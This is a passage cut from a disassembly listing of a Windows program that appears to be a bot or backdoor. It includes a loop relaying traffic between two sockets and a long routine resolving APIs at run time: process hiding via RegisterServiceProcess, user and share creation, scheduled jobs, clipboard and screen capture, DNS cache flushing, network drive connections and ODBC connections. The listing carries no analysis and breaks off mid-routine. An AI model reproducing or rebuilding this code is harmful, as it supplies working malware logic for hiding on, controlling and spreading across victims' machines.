		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4072F4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4072E4


loc_4072F4:				; CODE XREF: sub_4072B6+33j
		cmp	ecx, 1
		jnz	short loc_407309
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_407309:				; CODE XREF: sub_4072B6+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_44CCC4	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_407369
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1


loc_407369:				; CODE XREF: sub_4072B6+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4072CC
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4072CC


loc_4073B1:				; CODE XREF: sub_4072B6+9Aj
					; sub_4072B6+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4072B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073B6	proc near		; CODE XREF: sub_40C2D0+58p
		push	ebx
		push	ebp
		mov	ebp, dword_41F0B0
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_41F0AC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4074D6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_44CD84, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_44CCFC, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_44CCE0, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_44CC0C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_44CBBC, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_44CBE8, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_44CC58, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_44CD38, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_44CD94, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_44CC18, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD84, ebx
		mov	dword_44CC00, eax
		jz	short loc_4074B4
		cmp	dword_44CCFC, ebx
		jz	short loc_4074B4
		cmp	dword_44CCE0, ebx
		jz	short loc_4074B4
		cmp	dword_44CC0C, ebx
		jz	short loc_4074B4
		cmp	dword_44CBE8, ebx
		jz	short loc_4074B4
		cmp	dword_44CC58, ebx
		jz	short loc_4074B4
		cmp	dword_44CD38, ebx
		jz	short loc_4074B4
		cmp	dword_44CD94, ebx
		jz	short loc_4074B4
		cmp	dword_44CC18, ebx
		jz	short loc_4074B4
		cmp	eax, ebx
		jnz	short loc_4074BE


loc_4074B4:				; CODE XREF: sub_4073B6+B8j
					; sub_4073B6+C0j ...
		mov	dword_44CD98, 1


loc_4074BE:				; CODE XREF: sub_4073B6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_44CD10, eax
		jz	short loc_4074EB
		push	1
		push	ebx
		call	eax
		jmp	short loc_4074EB
; ---------------------------------------------------------------------------


loc_4074D6:				; CODE XREF: sub_4073B6+1Dj
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CD9C, eax
		mov	dword_44CD98, 1


loc_4074EB:				; CODE XREF: sub_4073B6+117j
					; sub_4073B6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41F0A8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4075A6
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_44CD34, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_44CCE8, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_44CC80, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_44CD88, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_44CCAC, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_44CCCC, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_44CD2C, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD34, ebx
		mov	dword_44CC34, eax
		jz	short loc_4075B1
		cmp	dword_44CCE8, ebx
		jz	short loc_4075B1
		cmp	dword_44CC80, ebx
		jz	short loc_4075B1
		cmp	dword_44CD88, ebx
		jz	short loc_4075B1
		cmp	dword_44CCAC, ebx
		jz	short loc_4075B1
		cmp	dword_44CCCC, ebx
		jz	short loc_4075B1
		cmp	dword_44CD2C, ebx
		jz	short loc_4075B1
		cmp	eax, ebx
		jnz	short loc_4075BB
		jmp	short loc_4075B1
; ---------------------------------------------------------------------------


loc_4075A6:				; CODE XREF: sub_4073B6+144j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDA4, eax


loc_4075B1:				; CODE XREF: sub_4073B6+1B8j
					; sub_4073B6+1C0j ...
		mov	dword_44CDA0, 1


loc_4075BB:				; CODE XREF: sub_4073B6+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407756
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_44CD48, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_44CC94, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_44CD00, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_44CBF8, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_44CC54, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD48, ebx
		mov	dword_44CCB8, eax
		jz	short loc_407646
		cmp	dword_44CC94, ebx
		jz	short loc_407646
		cmp	dword_44CD00, ebx
		jz	short loc_407646
		cmp	dword_44CBF8, ebx
		jz	short loc_407646
		cmp	dword_44CC54, ebx
		jz	short loc_407646
		cmp	eax, ebx
		jnz	short loc_407650


loc_407646:				; CODE XREF: sub_4073B6+26Aj
					; sub_4073B6+272j ...
		mov	dword_44CDA8, 1


loc_407650:				; CODE XREF: sub_4073B6+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_44CCC0, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_44CC9C, eax
		call	esi	; GetProcAddress
		cmp	dword_44CCC0, ebx
		mov	dword_44CD44, eax
		jz	short loc_40768B
		cmp	dword_44CC9C, ebx
		jz	short loc_40768B
		cmp	eax, ebx
		jnz	short loc_407695


loc_40768B:				; CODE XREF: sub_4073B6+2C7j
					; sub_4073B6+2CFj
		mov	dword_44CDA8, 1


loc_407695:				; CODE XREF: sub_4073B6+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_44CCD0, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_44CBD4, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_44CBDC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_44CC3C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_44CC40, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_44CBF0, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_44CCA0, eax
		call	esi	; GetProcAddress
		cmp	dword_44CCD0, ebx
		mov	dword_44CBE0, eax
		jz	short loc_407739
		cmp	dword_44CBD4, ebx
		jz	short loc_407739
		cmp	dword_44CBDC, ebx
		jz	short loc_407739
		cmp	dword_44CC3C, ebx
		jz	short loc_407739
		cmp	dword_44CC40, ebx
		jz	short loc_407739
		cmp	dword_44CBF0, ebx
		jz	short loc_407739
		cmp	dword_44CCA0, ebx
		jz	short loc_407739
		cmp	eax, ebx
		jnz	short loc_407743


loc_407739:				; CODE XREF: sub_4073B6+34Dj
					; sub_4073B6+355j ...
		mov	dword_44CDA8, 1


loc_407743:				; CODE XREF: sub_4073B6+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_44CBD8, eax
		jnz	short loc_40776B
		jmp	short loc_407761
; ---------------------------------------------------------------------------


loc_407756:				; CODE XREF: sub_4073B6+210j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDAC, eax


loc_407761:				; CODE XREF: sub_4073B6+39Ej
		mov	dword_44CDA8, 1


loc_40776B:				; CODE XREF: sub_4073B6+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407837
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_44CCC8, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_44CD1C, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_44CD24, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_44CCE4, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_44CC1C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_44CBCC, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_44CD20, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_44CBB8, eax
		call	esi	; GetProcAddress
		cmp	dword_44CCC8, ebx
		mov	dword_44CC4C, eax
		jz	short loc_407842
		cmp	dword_44CD1C, ebx
		jz	short loc_407842
		cmp	dword_44CD24, ebx
		jz	short loc_407842
		cmp	dword_44CCE4, ebx
		jz	short loc_407842
		cmp	dword_44CC1C, ebx
		jz	short loc_407842
		cmp	dword_44CBCC, ebx
		jz	short loc_407842
		cmp	dword_44CD20, ebx
		jz	short loc_407842
		cmp	dword_44CBB8, ebx
		jz	short loc_407842
		cmp	eax, ebx
		jnz	short loc_40784C
		jmp	short loc_407842
; ---------------------------------------------------------------------------


loc_407837:				; CODE XREF: sub_4073B6+3C0j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDB4, eax


loc_407842:				; CODE XREF: sub_4073B6+441j
					; sub_4073B6+449j ...
		mov	dword_44CDB0, 1


loc_40784C:				; CODE XREF: sub_4073B6+47Dj
		mov	ebp, dword_41F0A8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407B08
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_44CC60, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_44CD7C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_44CC08, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_44CBE4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_44CC8C, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_44CC78, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_44CC48, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_44CD58, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_44CD74, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_44CC88, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_44CD64, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_44CD18, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_44CCDC, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_44CCD8, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_44CC28, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_44CC20, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_44CD28, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_44CD3C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_44CCF4, eax
		call	esi	; GetProcAddress
		mov	dword_44CCB4, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_44CD08, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_44CCC4, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_44CD04, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_44CD6C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_44CCBC, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_44CC84, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_44CCF0, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_44CD5C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_44CC98, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_44CC44, eax
		call	esi	; GetProcAddress
		cmp	dword_44CC60, ebx
		mov	dword_44CD70, eax
		jz	loc_407B13
		cmp	dword_44CD7C, ebx
		jz	loc_407B13
		cmp	dword_44CC08, ebx
		jz	loc_407B13
		cmp	dword_44CC8C, ebx
		jz	loc_407B13
		cmp	dword_44CC78, ebx
		jz	loc_407B13
		cmp	dword_44CC48, ebx
		jz	loc_407B13
		cmp	dword_44CD58, ebx
		jz	loc_407B13
		cmp	dword_44CD74, ebx
		jz	loc_407B13
		cmp	dword_44CC88, ebx
		jz	loc_407B13
		cmp	dword_44CD64, ebx
		jz	loc_407B13
		cmp	dword_44CD18, ebx
		jz	loc_407B13
		cmp	dword_44CCDC, ebx
		jz	loc_407B13
		cmp	dword_44CCD8, ebx
		jz	loc_407B13
		cmp	dword_44CC28, ebx
		jz	short loc_407B13
		cmp	dword_44CD28, ebx
		jz	short loc_407B13
		cmp	dword_44CD3C, ebx
		jz	short loc_407B13
		cmp	dword_44CCF4, ebx
		jz	short loc_407B13
		cmp	dword_44CCB4, ebx
		jz	short loc_407B13
		cmp	dword_44CD08, ebx
		jz	short loc_407B13
		cmp	dword_44CCC4, ebx
		jz	short loc_407B13
		cmp	dword_44CD04, ebx
		jz	short loc_407B13
		cmp	dword_44CD6C, ebx
		jz	short loc_407B13
		cmp	dword_44CCBC, ebx
		jz	short loc_407B13
		cmp	dword_44CC84, ebx
		jz	short loc_407B13
		cmp	dword_44CCF0, ebx
		jz	short loc_407B13
		cmp	dword_44CD5C, ebx
		jz	short loc_407B13
		cmp	dword_44CC98, ebx
		jz	short loc_407B13
		cmp	eax, ebx
		jnz	short loc_407B1D
		jmp	short loc_407B13
; ---------------------------------------------------------------------------


loc_407B08:				; CODE XREF: sub_4073B6+4A7j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDBC, eax


loc_407B13:				; CODE XREF: sub_4073B6+646j
					; sub_4073B6+652j ...
		mov	dword_44CDB8, 1


loc_407B1D:				; CODE XREF: sub_4073B6+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407C22
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_44CC30, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_44CBC0, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_44CCA8, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_44CC64, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_44CCB0, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_44CC7C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_44CBFC, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_44CBF4, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_44CC04, eax
		call	esi	; GetProcAddress
		cmp	dword_44CC30, ebx
		mov	ecx, dword_44CC7C
		mov	dword_44CD0C, eax
		jz	short loc_407BFE
		cmp	dword_44CBC0, ebx
		jz	short loc_407BFE
		cmp	dword_44CCA8, ebx
		jz	short loc_407BFE
		cmp	dword_44CC64, ebx
		jz	short loc_407BFE
		cmp	dword_44CCB0, ebx
		jz	short loc_407BFE
		cmp	ecx, ebx
		jz	short loc_407BFE
		cmp	dword_44CBFC, ebx
		jz	short loc_407BFE
		cmp	dword_44CBF4, ebx
		jz	short loc_407BFE
		cmp	dword_44CC04, ebx
		jz	short loc_407BFE
		cmp	eax, ebx
		jnz	short loc_407C08


loc_407BFE:				; CODE XREF: sub_4073B6+806j
					; sub_4073B6+80Ej ...
		mov	dword_44CDC0, 1


loc_407C08:				; CODE XREF: sub_4073B6+846j
		cmp	ecx, ebx
		jz	short loc_407C3D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_44CC90, eax
		jnz	short loc_407C3D
		jmp	short loc_407C37
; ---------------------------------------------------------------------------


loc_407C22:				; CODE XREF: sub_4073B6+772j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDC4, eax
		mov	dword_44CDC0, 1


loc_407C37:				; CODE XREF: sub_4073B6+86Aj
		mov	dword_44CC90, ebx


loc_407C3D:				; CODE XREF: sub_4073B6+854j
					; sub_4073B6+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407C87
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_44CC70, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_44CD90, eax
		call	esi	; GetProcAddress
		cmp	dword_44CC70, ebx
		mov	dword_44CC10, eax
		jz	short loc_407C92
		cmp	dword_44CD90, ebx
		jz	short loc_407C92
		cmp	eax, ebx
		jnz	short loc_407C9C
		jmp	short loc_407C92
; ---------------------------------------------------------------------------


loc_407C87:				; CODE XREF: sub_4073B6+892j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDCC, eax


loc_407C92:				; CODE XREF: sub_4073B6+8C1j
					; sub_4073B6+8C9j ...
		mov	dword_44CDC8, 1


loc_407C9C:				; CODE XREF: sub_4073B6+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407D92
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_44CBEC, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_44CBC8, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_44CC38, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_44CC68, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_44CD68, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_44CC24, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_44CBD0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_44CBC4, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_44CC50, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_44CD30, eax
		call	esi	; GetProcAddress
		cmp	dword_44CBEC, ebx
		mov	dword_44CCEC, eax
		jz	short loc_407D9D
		cmp	dword_44CBC8, ebx
		jz	short loc_407D9D
		cmp	dword_44CC38, ebx
		jz	short loc_407D9D
		cmp	dword_44CC68, ebx
		jz	short loc_407D9D
		cmp	dword_44CD68, ebx
		jz	short loc_407D9D
		cmp	dword_44CC24, ebx
		jz	short loc_407D9D
		cmp	dword_44CBD0, ebx
		jz	short loc_407D9D
		cmp	dword_44CBC4, ebx
		jz	short loc_407D9D
		cmp	dword_44CC50, ebx
		jz	short loc_407D9D
		cmp	dword_44CD30, ebx
		jz	short loc_407D9D
		cmp	eax, ebx
		jnz	short loc_407DA7
		jmp	short loc_407D9D
; ---------------------------------------------------------------------------


loc_407D92:				; CODE XREF: sub_4073B6+8F1j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDD4, eax


loc_407D9D:				; CODE XREF: sub_4073B6+98Cj
					; sub_4073B6+994j ...
		mov	dword_44CDD0, 1


loc_407DA7:				; CODE XREF: sub_4073B6+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407DDC
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_44CC14, eax
		call	esi	; GetProcAddress
		cmp	dword_44CC14, ebx
		mov	dword_44CCD4, eax
		jz	short loc_407DE7
		cmp	eax, ebx
		jnz	short loc_407DF1
		jmp	short loc_407DE7
; ---------------------------------------------------------------------------


loc_407DDC:				; CODE XREF: sub_4073B6+9FCj
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDDC, eax


loc_407DE7:				; CODE XREF: sub_4073B6+A1Ej
					; sub_4073B6+A24j
		mov	dword_44CDD8, 1


loc_407DF1:				; CODE XREF: sub_4073B6+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407E26
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_44CD54, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD54, ebx
		mov	dword_44CD50, eax
		jz	short loc_407E31
		cmp	eax, ebx
		jnz	short loc_407E3B
		jmp	short loc_407E31
; ---------------------------------------------------------------------------


loc_407E26:				; CODE XREF: sub_4073B6+A46j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDE4, eax


loc_407E31:				; CODE XREF: sub_4073B6+A68j
					; sub_4073B6+A6Ej
		mov	dword_44CDE0, 1


loc_407E3B:				; CODE XREF: sub_4073B6+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407E9A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_44CD80, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_44CD78, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_44CD40, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD80, ebx
		mov	dword_44CC2C, eax
		jz	short loc_407EA5
		cmp	dword_44CD78, ebx
		jz	short loc_407EA5
		cmp	dword_44CD40, ebx
		jz	short loc_407EA5
		cmp	eax, ebx
		jnz	short loc_407EAF
		jmp	short loc_407EA5
; ---------------------------------------------------------------------------


loc_407E9A:				; CODE XREF: sub_4073B6+A90j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDEC, eax


loc_407EA5:				; CODE XREF: sub_4073B6+ACCj
					; sub_4073B6+AD4j ...
		mov	dword_44CDE8, 1


loc_407EAF:				; CODE XREF: sub_4073B6+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407EE4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_44CC5C, eax
		call	esi	; GetProcAddress
		cmp	dword_44CC5C, ebx
		mov	dword_44CD4C, eax
		jz	short loc_407EEF
		cmp	eax, ebx
		jnz	short loc_407EF9
		jmp	short loc_407EEF
; ---------------------------------------------------------------------------


loc_407EE4:				; CODE XREF: sub_4073B6+B04j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDF4, eax


loc_407EEF:				; CODE XREF: sub_4073B6+B26j
					; sub_4073B6+B2Cj
		mov	dword_44CDF0, 1


loc_407EF9:				; CODE XREF: sub_4073B6+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407F82
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
